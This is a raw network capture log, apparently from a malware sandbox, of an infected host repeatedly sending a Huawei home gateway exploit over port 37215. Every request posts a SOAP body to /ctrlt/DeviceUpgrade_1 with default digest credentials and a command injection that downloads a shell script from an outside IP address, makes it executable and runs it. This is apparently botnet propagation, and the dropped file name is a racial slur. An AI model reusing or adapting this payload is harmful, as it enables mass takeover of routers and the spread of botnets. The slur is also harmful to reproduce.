Feb 19, 2024 18:37:33.345284939 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:42.049005985 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:00.480494022 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.15	40168	156.241.15.67	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:25.689250946 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:29.761363983 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:35.905251980 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:37:47.936840057 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Feb 19, 2024 18:38:12.768115044 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.15	39034	45.195.116.192	37215

Timestamp	Bytes transferred	Direction	Data
Feb 19, 2024 18:37:26.604553938 CET	832	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 34 31 2e 32 31 36 2e 31 38 33 2e 32 37 2f 62 69 6e 73 2f 62 69 6e 73 2e 73 68 20 2d 4f 20 6e 69 67 67 65 72 73 2e 73 68 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 2b 78 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 3b 20 73 68 20 2f 74 6d 70 2f 6e 69 67 67 65 72 73 2e 73 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget http://41.216.183.27/bins/bins.sh -O niggers.sh; /bin/busybox chmod +x /tmp/niggers.sh; sh /tmp/niggers.sh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
